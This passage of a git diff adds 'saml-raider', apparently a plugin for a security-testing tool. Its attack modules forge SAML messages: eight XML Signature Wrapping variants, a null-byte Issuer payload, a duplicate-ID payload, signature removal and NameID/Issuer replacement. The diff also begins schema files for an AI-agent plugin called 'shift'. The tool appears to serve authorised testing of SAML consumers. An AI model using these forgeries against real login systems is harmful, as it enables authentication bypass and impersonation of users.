"exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "@types/node": "22.10.2", + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/saml-raider/src/analyzer.ts b/packages/plugins/saml-raider/src/analyzer.ts new file mode 100644 index 0000000..8b55b0c --- /dev/null +++ b/packages/plugins/saml-raider/src/analyzer.ts @@ -0,0 +1,9 @@ +import { type MessageInfo, parseMessageInfo } from "./message.js"; +import { err, ok, type Result } from "./result.js"; + +export const analyzeMessage = (xml: string): Result => { + if (xml.trim().length === 0) return err("The message is empty."); + const info = parseMessageInfo(xml); + if (info === undefined) return err("The message is not a SAML message."); + return ok(info); +}; diff --git a/packages/plugins/saml-raider/src/api.ts b/packages/plugins/saml-raider/src/api.ts new file mode 100644 index 0000000..98e26e8 --- /dev/null +++ b/packages/plugins/saml-raider/src/api.ts @@ -0,0 +1,22 @@ +import type { CvePayload } from "./attacks/cve.js"; +import type { XswVariant } from "./attacks/xsw.js"; +import type { SamlBinding } from "./codec.js"; +import type { MessageInfo } from "./message.js"; +import type { Result } from "./result.js"; +import type { SignatureInfo } from "./signature.js"; + +export type API = { + decodeMessage: (input: string) => Result; + encodeMessage: (xml: string, binding?: SamlBinding) => Result; + analyzeMessage: (xml: string) => Result; + renderMessage: (xml: string) => Result; + + listSignatures: (xml: string) => Result; + listEmbeddedCertificates: (xml: string) => Result; + removeSignatures: (xml: string) => Result; + + applyXsw: (xml: string, variant: XswVariant) => Result; + applyCvePayload: (xml: string, id: CvePayload["id"]) => Result; + replaceNameId: (xml: string, value: string) => Result; + replaceIssuer: (xml: string, value: string) => Result; +}; diff --git a/packages/plugins/saml-raider/src/attacks/cve.ts b/packages/plugins/saml-raider/src/attacks/cve.ts new file mode 100644 index 0000000..8e1bab8 --- /dev/null +++ b/packages/plugins/saml-raider/src/attacks/cve.ts @@ -0,0 +1,33 @@ +import { err, ok, type Result } from "../result.js"; + +/** + * Null-byte and duplicate-attribute payload variants for known SAML XML + * signature validation bugs. + */ +export const CVE_PAYLOADS = [ + { + id: "null-byte-issuer", + description: + "Truncates the Issuer value with a null byte for parsers that stop at NUL.", + apply: (xml: string): string => + xml.replace(/(<(?:[\w-]+:)?Issuer[^>]*>)([^<]*)/, "$1$2\0.attacker.evil"), + }, + { + id: "duplicate-attribute", + description: + "Adds a second ID attribute to the Response element; note many parsers use the first while XML allows exactly one, which is exploitable depending on the consumer.", + apply: (xml: string): string => + xml.replace(/<((?:[\w-]+:)?Response)/, '<$1 xml:id="xsw"'), + }, +] as const; + +export type CvePayload = (typeof CVE_PAYLOADS)[number]; + +export const applyCvePayload = ( + xml: string, + id: CvePayload["id"], +): Result => { + const payload = CVE_PAYLOADS.find((candidate) => candidate.id === id); + if (payload === undefined) return err(`Unknown CVE payload: ${id}`); + return ok(payload.apply(xml)); +}; diff --git a/packages/plugins/saml-raider/src/attacks/replace.ts b/packages/plugins/saml-raider/src/attacks/replace.ts new file mode 100644 index 0000000..86d6590 --- /dev/null +++ b/packages/plugins/saml-raider/src/attacks/replace.ts @@ -0,0 +1,16 @@ +import { err, ok, type Result } from "../result.js"; +import { firstTagContent } from "../xml.js"; + +export const replaceNameId = (xml: string, value: string): Result => { + if (value.length === 0) return err("The replacement value is empty."); + const nameId = firstTagContent(xml, "NameID"); + if (nameId === undefined) return err("No NameID element found."); + return ok(xml.replace(nameId, value)); +}; + +export const replaceIssuer = (xml: string, value: string): Result => { + if (value.length === 0) return err("The replacement value is empty."); + const issuer = firstTagContent(xml, "Issuer"); + if (issuer === undefined) return err("No Issuer element found."); + return ok(xml.replace(issuer, value)); +}; diff --git a/packages/plugins/saml-raider/src/attacks/xsw.ts b/packages/plugins/saml-raider/src/attacks/xsw.ts new file mode 100644 index 0000000..22f3c92 --- /dev/null +++ b/packages/plugins/saml-raider/src/attacks/xsw.ts @@ -0,0 +1,89 @@ +import { z } from "zod"; + +import { err, ok, type Result } from "../result.js"; +import { extractBlocks } from "../xml.js"; + +export const XSW_VARIANTS = [1, 2, 3, 4, 5, 6, 7, 8] as const; + +export type XswVariant = (typeof XSW_VARIANTS)[number]; + +export const XswVariantSchema = z.union([ + z.literal(1), + z.literal(2), + z.literal(3), + z.literal(4), + z.literal(5), + z.literal(6), + z.literal(7), + z.literal(8), +]); + +const replaceSignature = ( + xml: string, + transform: (signature: string) => string, +): string => { + const signatures = extractBlocks(xml, "Signature"); + const signature = signatures[0]; + if (signature === undefined) return xml; + return xml.replace(signature, transform(signature)); +}; + +/** + * Structural XML Signature Wrapping transforms. Each variant duplicates the + * signed block and re-inserts it at a different location, so a + * parser that reads one position while the verifier validates another can be + * tricked into trusting the forged copy. + */ +export const applyXsw = (xml: string, variant: XswVariant): Result => { + const assertions = extractBlocks(xml, "Assertion"); + const assertion = assertions[0]; + if (assertion === undefined) return err("No Assertion element found."); + + const forged = assertion.replace(/ID="[^"]*"/, 'ID="xsw-forged"'); + const position = xml.indexOf(assertion); + if (position === -1) { + return err("The Assertion element could not be located."); + } + + const before = xml.slice(0, position); + const after = xml.slice(position + assertion.length); + + switch (variant) { + case 1: + // Duplicate immediately before the original, inside the same parent. + return ok(`${before}${forged}${assertion}${after}`); + case 2: + // Duplicate immediately after the original. + return ok(`${before}${assertion}${forged}${after}`); + case 3: + // Duplicate wrapped in a payload element. + return ok(`${before}${assertion}${after}${forged}`); + case 4: + // Duplicate smuggled inside an wrapper. + return ok( + `${before}${assertion}${after}${forged}`, + ); + case 5: { + // Duplicate outside the Response envelope, before it. + const responseStart = xml.search(/<(?:[\w-]+:)?Response(\s|>)/); + if (responseStart === -1) return err("No Response element found."); + return ok( + `${xml.slice(0, responseStart)}${forged}${xml.slice(responseStart)}`, + ); + } + case 6: { + // Duplicate outside the Response envelope, after it. + const responseEnd = xml.search(/<\/(?:[\w-]+:)?Response>/); + if (responseEnd === -1) return err("No Response element found."); + const closing = /<\/(?:[\w-]+:)?Response>/.exec(xml); + const end = closing!.index + closing![0].length; + return ok(`${xml.slice(0, end)}${forged}${xml.slice(end)}`); + } + case 7: + return ok(replaceSignature(xml, (sig) => `${forged}${sig}`)); + case 8: + return ok(replaceSignature(xml, (sig) => `${sig}${forged}`)); + } +}; + +export const listXswVariants = (): readonly XswVariant[] => XSW_VARIANTS; diff --git a/packages/plugins/saml-raider/src/codec.ts b/packages/plugins/saml-raider/src/codec.ts new file mode 100644 index 0000000..46d5a67 --- /dev/null +++ b/packages/plugins/saml-raider/src/codec.ts @@ -0,0 +1,59 @@ +import { deflateRawSync, inflateRawSync, inflateSync } from "node:zlib"; + +import { err, ok, type Result } from "./result.js"; + +export type SamlBinding = "redirect" | "post"; + +export const isXml = (value: string): boolean => + value.trimStart().startsWith("<"); + +const tryBase64Decode = (value: string): string | undefined => { + try { + const normalized = value.replace(/\s+/g, ""); + const decoded = Buffer.from(normalized, "base64").toString("utf-8"); + return decoded; + } catch { + return undefined; + } +}; + +export const decodeMessage = (input: string): Result => { + const trimmed = input.trim(); + if (trimmed.length === 0) return err("The message is empty."); + if (isXml(trimmed)) return ok(trimmed); + + const decoded = tryBase64Decode(trimmed); + if (decoded === undefined) return err("The message is not valid base64."); + + if (isXml(decoded)) return ok(decoded); + + const asBuffer = Buffer.from(trimmed.replace(/\s+/g, ""), "base64"); + try { + const inflated = inflateRawSync(asBuffer).toString("utf-8"); + if (isXml(inflated)) return ok(inflated); + } catch { + // fall through to plain zlib inflate + } + try { + const inflated = inflateSync(asBuffer).toString("utf-8"); + if (isXml(inflated)) return ok(inflated); + } catch { + return err("The message could not be decoded as SAML."); + } + return err("The message could not be decoded as SAML."); +}; + +export const encodeMessage = ( + xml: string, + binding: SamlBinding = "redirect", +): Result => { + if (xml.trim().length === 0) return err("The message is empty."); + try { + if (binding === "redirect") { + return ok(deflateRawSync(Buffer.from(xml, "utf-8")).toString("base64")); + } + return ok(Buffer.from(xml, "utf-8").toString("base64")); + } catch { + return err("The message could not be encoded."); + } +}; diff --git a/packages/plugins/saml-raider/src/events.ts b/packages/plugins/saml-raider/src/events.ts new file mode 100644 index 0000000..24a6006 --- /dev/null +++ b/packages/plugins/saml-raider/src/events.ts @@ -0,0 +1,6 @@ +import type { MessageInfo } from "./message.js"; + +export type Events = { + "message:analyzed": (info: MessageInfo) => void; + "attack:applied": (attack: string) => void; +}; diff --git a/packages/plugins/saml-raider/src/index.ts b/packages/plugins/saml-raider/src/index.ts new file mode 100644 index 0000000..9a9476f --- /dev/null +++ b/packages/plugins/saml-raider/src/index.ts @@ -0,0 +1,64 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + type SamlBinding, + isXml, + decodeMessage, + encodeMessage, +} from "./codec.js"; + +export { + MESSAGE_KINDS, + type MessageKind, + MessageInfoSchema, + type MessageInfo, + detectMessageKind, + parseMessageInfo, +} from "./message.js"; + +export { analyzeMessage } from "./analyzer.js"; + +export { + type SignatureInfo, + listSignatures, + listEmbeddedCertificates, + removeSignatures, + verifySignatureShape, +} from "./signature.js"; + +export { + firstTagContent, + firstTagAttributes, + countTag, + extractBlocks, + stripWhitespace, + prettyPrint, +} from "./xml.js"; + +export { + XSW_VARIANTS, + type XswVariant, + XswVariantSchema, + applyXsw, + listXswVariants, +} from "./attacks/xsw.js"; +export { + CVE_PAYLOADS, + type CvePayload, + applyCvePayload, +} from "./attacks/cve.js"; +export { replaceNameId, replaceIssuer } from "./attacks/replace.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "saml-raider"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; diff --git a/packages/plugins/saml-raider/src/message.ts b/packages/plugins/saml-raider/src/message.ts new file mode 100644 index 0000000..74d35d6 --- /dev/null +++ b/packages/plugins/saml-raider/src/message.ts @@ -0,0 +1,63 @@ +import { z } from "zod"; + +import { + countTag, + firstTagAttributes, + firstTagContent, + stripWhitespace, +} from "./xml.js"; + +export const MESSAGE_KINDS = [ + "AuthnRequest", + "Response", + "LogoutRequest", + "LogoutResponse", +] as const; + +export type MessageKind = (typeof MESSAGE_KINDS)[number]; + +export const MessageInfoSchema = z.object({ + kind: z.enum(MESSAGE_KINDS), + id: z.string().optional(), + inResponseTo: z.string().optional(), + issuer: z.string().optional(), + nameId: z.string().optional(), + subjectNameId: z.string().optional(), + destination: z.string().optional(), + assertionCount: z.number().int().nonnegative(), + signatureCount: z.number().int().nonnegative(), + hasEmbeddedCertificate: z.boolean(), +}); + +export type MessageInfo = z.infer; + +export const detectMessageKind = (xml: string): MessageKind | undefined => { + for (const kind of MESSAGE_KINDS) { + const pattern = new RegExp(`<(?:[\\w-]+:)?${kind}(\\s|>|/>)`); + if (pattern.test(xml)) return kind; + } + return undefined; +}; + +export const parseMessageInfo = (xml: string): MessageInfo | undefined => { + const kind = detectMessageKind(xml); + if (kind === undefined) return undefined; + + const attributes = firstTagAttributes(xml, kind); + const issuer = firstTagContent(xml, "Issuer"); + const subject = firstTagContent(xml, "Subject"); + const nameId = + firstTagContent(xml, "NameID") ?? firstTagContent(subject ?? "", "NameID"); + + return { + kind, + id: attributes["ID"] ?? attributes["Id"], + inResponseTo: attributes["InResponseTo"], + issuer: issuer !== undefined ? stripWhitespace(issuer) : undefined, + nameId: nameId !== undefined ? stripWhitespace(nameId) : undefined, + destination: attributes["Destination"], + assertionCount: countTag(xml, "Assertion"), + signatureCount: countTag(xml, "Signature"), + hasEmbeddedCertificate: /<(?:[\w-]+:)?X509Certificate>/.test(xml), + }; +}; diff --git a/packages/plugins/saml-raider/src/result.ts b/packages/plugins/saml-raider/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/saml-raider/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/saml-raider/src/signature.ts b/packages/plugins/saml-raider/src/signature.ts new file mode 100644 index 0000000..6d5285b --- /dev/null +++ b/packages/plugins/saml-raider/src/signature.ts @@ -0,0 +1,52 @@ +import { extractBlocks } from "./xml.js"; + +export type SignatureInfo = { + referenceUri: string | undefined; + signatureMethod: string | undefined; + digestMethod: string | undefined; + signatureValuePresent: boolean; + embeddedCertificatePresent: boolean; +}; + +export const listSignatures = (xml: string): SignatureInfo[] => + extractBlocks(xml, "Signature").map((block) => { + const referenceMatch = /URI="([^"]*)"/.exec(block); + const signatureMethod = + /<(?:[\w-]+:)?SignatureMethod[^>]*Algorithm="([^"]*)"/.exec(block)?.[1]; + const digestMethod = + /<(?:[\w-]+:)?DigestMethod[^>]*Algorithm="([^"]*)"/.exec(block)?.[1]; + return { + referenceUri: referenceMatch?.[1], + signatureMethod, + digestMethod, + signatureValuePresent: + /<(?:[\w-]+:)?SignatureValue>[^<]+<\/(?:[\w-]+:)?SignatureValue>/.test( + block, + ), + embeddedCertificatePresent: + /<(?:[\w-]+:)?X509Certificate>[^<]+<\/(?:[\w-]+:)?X509Certificate>/.test( + block, + ), + }; + }); + +export const listEmbeddedCertificates = (xml: string): string[] => + extractBlocks(xml, "X509Certificate").map((block) => + block.replace(/<\/?(?:[\w-]+:)?X509Certificate>/g, "").replace(/\s+/g, ""), + ); + +export const removeSignatures = (xml: string): string => + xml.replace( + /<(?:[\w-]+:)?Signature(?:\s[^>]*)?>[\s\S]*?<\/(?:[\w-]+:)?Signature>/g, + "", + ); + +export const verifySignatureShape = ( + xml: string, +): { + signed: boolean; + signatures: SignatureInfo[]; +} => { + const signatures = listSignatures(xml); + return { signed: signatures.length > 0, signatures }; +}; diff --git a/packages/plugins/saml-raider/src/xml.ts b/packages/plugins/saml-raider/src/xml.ts new file mode 100644 index 0000000..58d1886 --- /dev/null +++ b/packages/plugins/saml-raider/src/xml.ts @@ -0,0 +1,65 @@ +export const firstTagContent = ( + xml: string, + localName: string, +): string | undefined => { + const pattern = new RegExp( + `<(?:[\\w-]+:)?${localName}(?:\\s[^>]*)?>([\\s\\S]*?)<\\/(?:[\\w-]+:)?${localName}>`, + ); + const match = pattern.exec(xml); + return match?.[1]; +}; + +export const firstTagAttributes = ( + xml: string, + localName: string, +): Record => { + const pattern = new RegExp(`<(?:[\\w-]+:)?${localName}(\\s[^>]*)?>`); + const match = pattern.exec(xml); + const attrs = match?.[1] ?? ""; + const attributes: Record = {}; + for (const attr of attrs.matchAll(/([\w-]+)="([^"]*)"/g)) { + attributes[attr[1]!] = attr[2]!; + } + return attributes; +}; + +export const countTag = (xml: string, localName: string): number => { + const pattern = new RegExp(`<(?:[\\w-]+:)?${localName}(\\s[^>]*)?[/>]`, "g"); + return [...xml.matchAll(pattern)].length; +}; + +export const extractBlocks = (xml: string, localName: string): string[] => { + const pattern = new RegExp( + `<(?:[\\w-]+:)?${localName}(?:\\s[^>]*)?>[\\s\\S]*?<\\/(?:[\\w-]+:)?${localName}>`, + "g", + ); + return [...xml.matchAll(pattern)].map((match) => match[0]); +}; + +export const stripWhitespace = (value: string): string => + value.replace(/\s+/g, " ").trim(); + +export const prettyPrint = (xml: string): string => { + const tokens = xml + .replace(/>\n<") + .split("\n") + .map((line) => line.trim()) + .filter((line) => line.length > 0); + let depth = 0; + const lines: string[] = []; + for (const token of tokens) { + if (token.startsWith("") && + !/>\s*[^<]*$/.test(token.slice(token.indexOf(">"))) + ) { + if (!/") + 1))) depth += 1; + } + } + return lines.join("\n"); +}; diff --git a/packages/plugins/saml-raider/tsconfig.json b/packages/plugins/saml-raider/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/saml-raider/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/saml-raider/tsdown.config.ts b/packages/plugins/saml-raider/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/saml-raider/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/shift/README.md b/packages/plugins/shift/README.md new file mode 100644 index 0000000..1166919 --- /dev/null +++ b/packages/plugins/shift/README.md @@ -0,0 +1,3 @@ +# @threatmap/shift + +Specification for the ThreatMap Shift plugin. diff --git a/packages/plugins/shift/package.json b/packages/plugins/shift/package.json new file mode 100644 index 0000000..45e41ae --- /dev/null +++ b/packages/plugins/shift/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/shift", + "version": "0.0.0", + "description": "Specification for the ThreatMap Shift plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/shift/src/api.ts b/packages/plugins/shift/src/api.ts new file mode 100644 index 0000000..716c0b3 --- /dev/null +++ b/packages/plugins/shift/src/api.ts @@ -0,0 +1,31 @@ +import type { CustomAgent } from "./custom-agents.js"; +import type { LearningsConfig } from "./learnings.js"; +import type { Model, ModelsConfig } from "./models.js"; +import type { Result } from "./result.js"; +import type { SettingsConfig } from "./settings.js"; +import type { AgentSkillDefinition } from "./skills.js"; + +export type API = { + getModels: () => Result; + setModels: (config: ModelsConfig) => Promise>; + addModel: (model: Model) => Promise>; + removeModel: (modelKey: string) => Promise>; + + getAgents: () => Result; + createAgent: (agent: Omit) => Promise>; + updateAgent: ( + id: string, + updates: Partial>, + ) => Promise>; + deleteAgent: (id: string) => Promise>; + + getSkills: () => Result; + getLearnings: () => Result; + addLearning: (content: string) => Promise>; + removeLearnings: (indexes: number[]) => Promise>; + + getSettings: () => Result; + updateSettings: ( + updates: Partial, + ) => Promise>; +}; diff --git a/packages/plugins/shift/src/custom-agents.ts b/packages/plugins/shift/src/custom-agents.ts new file mode 100644 index 0000000..5c3a23f --- /dev/null +++ b/packages/plugins/shift/src/custom-agents.ts @@ -0,0 +1,61 @@ +import { z } from "zod"; + +import { AgentSkillSchema, SkillScopeSchema } from "./skills.js"; + +export const AgentModeSchema = z.enum(["focus", "wildcard"]); +export type AgentMode = z.infer; + +export const CustomAgentBinarySchema = z.object({ + path: z.string().min(1), + instructions: z.string().optional(), +}); +export type CustomAgentBinary = z.infer; + +const CustomAgentSchema = z.object({ + id: z.string().min(1), + name: z.string().min(1), + description: z.string(), + skillIds: z.array(z.string()), + allowedWorkflowIds: z.array(z.string()).optional(), + allowedBinaries: z.array(CustomAgentBinarySchema).optional(), + instructions: z.string(), + scope: SkillScopeSchema, + projectId: z.string().min(1).optional(), + boundCollections: z.array(z.string()), +}); +export type CustomAgent = z.infer; + +const ResolvedCustomAgentSchema = z.object({ + id: z.string().min(1), + name: z.string().min(1), + description: z.string(), + skills: z.array(AgentSkillSchema), + allowedWorkflowIds: z.array(z.string()).optional(), + allowedBinaries: z.array(CustomAgentBinarySchema).optional(), + instructions: z.string(), +}); +export type ResolvedCustomAgent = z.infer; + +export const CreateCustomAgentSchema = z.object({ + name: z.string().min(1), + description: z.string().default(""), + skillIds: z.array(z.string()).default([]), + allowedWorkflowIds: z.array(z.string()).optional(), + allowedBinaries: z.array(CustomAgentBinarySchema).optional(), + instructions: z.string().default(""), + scope: SkillScopeSchema, + boundCollections: z.array(z.string()).default([]), +}); +export type CreateCustomAgentInput = z.infer; + +export const UpdateCustomAgentSchema = z.object({ + name: z.string().min(1).optional(), + description: z.string().optional(), + skillIds: z.array(z.string()).optional(), + allowedWorkflowIds: z.array(z.string()).optional().nullable(), + allowedBinaries: z.array(CustomAgentBinarySchema).optional().nullable(), + instructions: z.string().optional(), + scope: SkillScopeSchema.optional(), + boundCollections: z.array(z.string()).optional(), +}); +export type UpdateCustomAgentInput = z.infer; diff --git a/packages/plugins/shift/src/events.ts b/packages/plugins/shift/src/events.ts new file mode 100644 index 0000000..aebf79c --- /dev/null +++ b/packages/plugins/shift/src/events.ts @@ -0,0 +1,6 @@ +export type Events = { + "agent:created": (id: string) => void; + "agent:deleted": (id: string) => void; + "settings:updated": () => void; + "models:updated": () => void; +}; diff --git a/packages/plugins/shift/src/feature-flags.ts b/packages/plugins/shift/src/feature-flags.ts new file mode 100644 index 0000000..3c8576a --- /dev/null +++ b/packages/plugins/shift/src/feature-flags.ts @@ -0,0 +1,63 @@ +import { z } from "zod"; + +type FeatureFlagDefinition = { + label: string; + description: string; + category: "experimental"; + defaultValue: boolean; +}; + +const defineFeatureFlags = < + const T extends Record, +>( + definitions: T, +) => { + const entries = Object.entries(definitions) as Array< + [key: keyof T, definition: T[keyof T]] + >; + + const schemaShape = Object.fromEntries( + entries.map(([key]) => [key, z.boolean()]), + ) as Record; + + const defaults = Object.fromEntries( + entries.map(([key, definition]) => [key, definition.defaultValue]), + ) as Record; + + return { + definitions, + entries: entries.map(([key, definition]) => ({ + key, + ...definition, + })), + schema: z.object(schemaShape), + defaults, + }; +}; + +const registry = defineFeatureFlags({ + backgroundAgents: { + label: "(Experimental) Background Agents for Shift Float", + description: + "Allow Shift Float to delegate long-running tasks to background agents and show the background agent panel.", + category: "experimental", + defaultValue: false, + }, +}); + +export const FEATURE_FLAGS = registry.definitions; +export const featureFlagEntries = registry.entries; + +export const FeatureFlagsConfigSchema = registry.schema; +export type FeatureFlagsConfig = z.infer; + +export type FeatureFlagKey = keyof typeof FEATURE_FLAGS; + +export const defaultFeatureFlags: FeatureFlagsConfig = registry.defaults; + +export const isFeatureFlagEnabled = ( + flags: Partial | FeatureFlagsConfig | undefined, + flag: FeatureFlagKey, +): boolean => { + return flags?.[flag] ?? defaultFeatureFlags[flag]; +}; diff --git a/packages/plugins/shift/src/index.ts b/packages/plugins/shift/src/index.ts new file mode 100644 index 0000000..9a02244 --- /dev/null +++ b/packages/plugins/shift/src/index.ts @@ -0,0 +1,23 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { Result } from "./result.js"; + +export * from "./custom-agents.js"; +export * from "./learnings.js"; +export * from "./models.js"; +export * from "./settings.js"; +export * from "./skills.js"; +export * from "./feature-flags.js"; +export * from "./optional.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "shift"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; diff --git a/packages/plugins/shift/src/learnings.ts b/packages/plugins/shift/src/learnings.ts new file mode 100644 index 0000000..8eec880 --- /dev/null +++ b/packages/plugins/shift/src/learnings.ts @@ -0,0 +1,26 @@ +import { z } from "zod"; + +const LearningsConfigSchema = z.object({ + entries: z.array(z.string()), +}); +export type LearningsConfig = z.infer; + +export const defaultLearningsConfig: LearningsConfig = { + entries: [], +}; + +export const AddLearningSchema = z.object({ + content: z.string().min(1), +}); +export type AddLearningInput = z.infer; + +export const UpdateLearningSchema = z.object({ + index: z.number().min(0), + content: z.string().min(1), +}); +export type UpdateLearningInput = z.infer; + +export const RemoveLearningsSchema = z.object({ + indexes: z.array(z.number().min(0)), +}); +export type RemoveLearningsInput = z.infer; diff --git a/packages/plugins/shift/src/models.ts b/packages/plugins/shift/src/models.ts new file mode 100644 index 0000000..095da58 --- /dev/null +++ b/packages/plugins/shift/src/models.ts @@ -0,0 +1,133 @@ +import { z } from "zod"; + +import { isPresent } from "./optional.js"; +export type AIUpstreamProviderId = + "openrouter" | "openai" | "anthropic" | "google"; + +export const ModelProvider = { + OpenRouter: "openrouter", + OpenAI: "openai", + Anthropic: "anthropic", + Google: "google", +} as const satisfies Record; + +export type ModelProvider = (typeof ModelProvider)[keyof typeof ModelProvider]; +const ModelProviderSchema = z.nativeEnum(ModelProvider); + +const ModelCapabilitiesSchema = z.object({ + reasoning: z.boolean(), +}); +export type ModelCapabilities = z.infer; + +const ModelSchema = z.object({ + id: z.string().min(1), + name: z.string().min(1), + provider: ModelProviderSchema, + contextWindow: z.number().int().positive().optional(), + capabilities: ModelCapabilitiesSchema, +}); +export type Model = z.infer; + +export const PROVIDER_REASONING_DISABLED_MESSAGES: Partial< + Record +> = { + [ModelProvider.OpenAI]: + "Reasoning is temporarily unavailable for this provider.", +}; + +export const getProviderReasoningDisabledMessage = ( + provider: ModelProvider, +): string | undefined => { + return PROVIDER_REASONING_DISABLED_MESSAGES[provider]; +}; + +export const supportsProviderReasoning = (provider: ModelProvider): boolean => { + return getProviderReasoningDisabledMessage(provider) === undefined; +}; + +export const normalizeModelReasoningSupport = (model: Model): Model => { + const reasoning = + model.capabilities.reasoning && supportsProviderReasoning(model.provider); + if (reasoning === model.capabilities.reasoning) { + return model; + } + + return { + ...model, + capabilities: { + ...model.capabilities, + reasoning, + }, + }; +}; + +const ModelUsageTypeSchema = z.enum(["agent", "float"]); +export type ModelUsageType = z.infer; + +const ModelUserConfigSchema = z.object({ + modelKey: z.string().min(1), + enabled: z.boolean(), + enabledFor: z.array(ModelUsageTypeSchema), +}); +export type ModelUserConfig = z.infer; + +const ModelsConfigSchema = z.object({ + models: z.array(ModelSchema), + config: z.record(z.string(), ModelUserConfigSchema), + customModelKeys: z.array(z.string()), +}); +export type ModelsConfig = z.infer; + +const ConfigOverrideSchema = z.object({ + enabled: z.boolean().optional(), + enabledFor: z.array(ModelUsageTypeSchema).optional(), +}); +export type ConfigOverride = z.infer; + +const ModelsUserDataSchema = z.object({ + customModels: z.array(ModelSchema), + configOverrides: z.record(z.string(), ConfigOverrideSchema), +}); +export type ModelsUserData = z.infer; + +type ModelKey = `${ModelProvider}/${string}`; + +export const createModelKey = ( + provider: ModelProvider, + id: string, +): ModelKey => { + return `${provider}/${id}`; +}; + +export const parseModelKey = ( + key: string, +): { provider: ModelProvider; id: string } => { + const [provider, id] = key.split("/", 2); + if (!isPresent(provider) || !isPresent(id)) { + throw new Error(`Invalid model key: ${key}`); + } + + return { provider: provider as ModelProvider, id }; +}; + +export const AddModelSchema = ModelSchema; +export type AddModelInput = z.infer; + +export const RemoveModelSchema = z.object({ + provider: ModelProviderSchema, + id: z.string().min(1), +}); +export type RemoveModelInput = z.infer; + +export const UpdateModelConfigSchema = z.object({ + enabled: z.boolean().optional(), + enabledFor: z.array(ModelUsageTypeSchema).optional(), +}); +export type UpdateModelConfigInput = z.infer; + +export const UpdateModelEnabledForSchema = z.object({ + enabledFor: z.array(ModelUsageTypeSchema), +}); +export type UpdateModelEnabledForInput = z.infer< + typeof UpdateModelEnabledForSchema +>; diff --git a/packages/plugins/shift/src/optional.ts b/packages/plugins/shift/src/optional.ts new file mode 100644 index 0000000..60d8792 --- /dev/null +++ b/packages/plugins/shift/src/optional.ts @@ -0,0 +1,3 @@ +export function isPresent(value: T | null | undefined): value is T { + return value !== null && value !== undefined; +} diff --git a/packages/plugins/shift/src/result.ts b/packages/plugins/shift/src/result.ts new file mode 100644 index 0000000..912add5 --- /dev/null +++ b/packages/plugins/shift/src/result.ts @@ -0,0 +1,34 @@ +import { z } from "zod"; + +export type Result = + { kind: "Ok"; value: TOk } | { kind: "Error"; error: TErr }; + +export const Result = { + ok: (value: TOk): Result => ({ kind: "Ok", value }), + err: (error: TErr): Result => ({ + kind: "Error", + error, + }), + isResult: (value: unknown): value is Result => + typeof value === "object" && value !== null && "kind" in value, + isOk: ( + result: Result, + ): result is { kind: "Ok"; value: TOk } => result.kind === "Ok", + isErr: ( + result: Result, + ): result is { kind: "Error"; error: TErr } => result.kind === "Error", + schema: ( + valueSchema: TOk, + errorSchema?: TErr, + ) => + z.discriminatedUnion("kind", [ + z.object({ + kind: z.literal("Ok"), + value: valueSchema, + }), + z.object({ + kind: z.literal("Error"), + error: errorSchema ?? z.string(), + }), + ]), +}; diff --git a/packages/plugins/shift/src/settings.ts b/packages/plugins/shift/src/settings.ts new file mode 100644 index 0000000..f48ffc1 --- /dev/null +++ b/packages/plugins/shift/src/settings.ts @@ -0,0 +1,60 @@ +import { z } from "zod"; + +import { + defaultFeatureFlags, + FeatureFlagsConfigSchema, +} from "./feature-flags.js"; + +const RenamingConfigSchema = z.object({ + enabled: z.boolean(), + renameAfterSend: z.boolean(), + instructions: z.string(), +}); +export type RenamingConfig = z.infer; + +const SettingsConfigSchema = z.object({ + agentsModel: z.string(), + floatModel: z.string(), + renamingModel: z.string(), + maxIterations: z.number(), + renaming: RenamingConfigSchema, + debugToolsEnabled: z.boolean(), + autoCreateShiftCollection: z.boolean(), + openRouterPrioritizeFastProviders: z.boolean(), + featureFlags: FeatureFlagsConfigSchema, +}); +export type SettingsConfig = z.infer; + +export const defaultRenamingConfig: RenamingConfig = { + enabled: false, + renameAfterSend: false, + instructions: + "Include the HTTP Verb, and a concise version of the path in the tab name. Focus on the end of the path. Include only the first 4 characters of IDs.\nExample: GET 